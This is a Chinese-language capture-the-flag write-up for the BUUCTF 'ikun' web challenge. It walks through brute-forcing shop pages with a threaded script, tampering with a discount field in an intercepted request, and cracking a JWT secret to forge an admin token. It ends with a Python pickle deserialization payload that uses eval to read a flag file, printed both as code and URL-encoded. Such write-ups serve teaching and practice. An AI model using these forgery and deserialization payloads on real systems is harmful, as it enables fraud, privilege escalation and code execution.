BUUCTF:(WEB)[CISCN2019 华北赛区 Day1 Web2]ikun
打开链接
发现有登录选项,注册并进入
题目提示要买到ipv6,那就必须先找到ipv6的所在页面
脚本跑
import threading import time import requests def go(st, ed): for i in range(st, ed): url = 'http://9526ee81-7bfb-418c-a200-3834e974a35e.node4.buuoj.cn:81/shop?page=' url += str(i) r = requests.get(url, timeout=2) if 'lv6.png' in r.text: print(r.url) time.sleep(0.1) if __name__ == '__main__': threads = [] for i in range(0, 10): t = threading.Thread(target=go, args=(i * 20, (i + 1) * 20)) threads.append(t) for item in threads: item.start()
发现是第181页,看到ipv6,但是我们买不起,那就抓包看一下
抓包后,发现可以修改折扣,修改一下,回包
给了一个网址
去访问
提示只允许admin访问,再去抓包看看有什么
JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFzZCJ9.BObCLjOjhd5VP8Ji2nhYaqzp01yT6KhkzQA2oY8FirA;
Base64编码过,去解码得到
后边解码不出来因为经过了sha256加密,需要破解key
利用破解工具,解密
得到秘钥:1Kun
去破解网址构造新的JWT
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
然后放包,看到我们已经成为大会员
在源码里我们可以找到一个压缩包,先下载下来
然后找到反序列化admin.py,有漏洞,用脚本构造become
注意需要用python2
import pickle import urllib class payload(object): def __reduce__(self): return (eval, ("open('/flag.txt','r').read()",)) a = pickle.dumps(payload()) #序列化 a = urllib.quote(a) #进行url编码 print a
然后构造playload
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
得到flag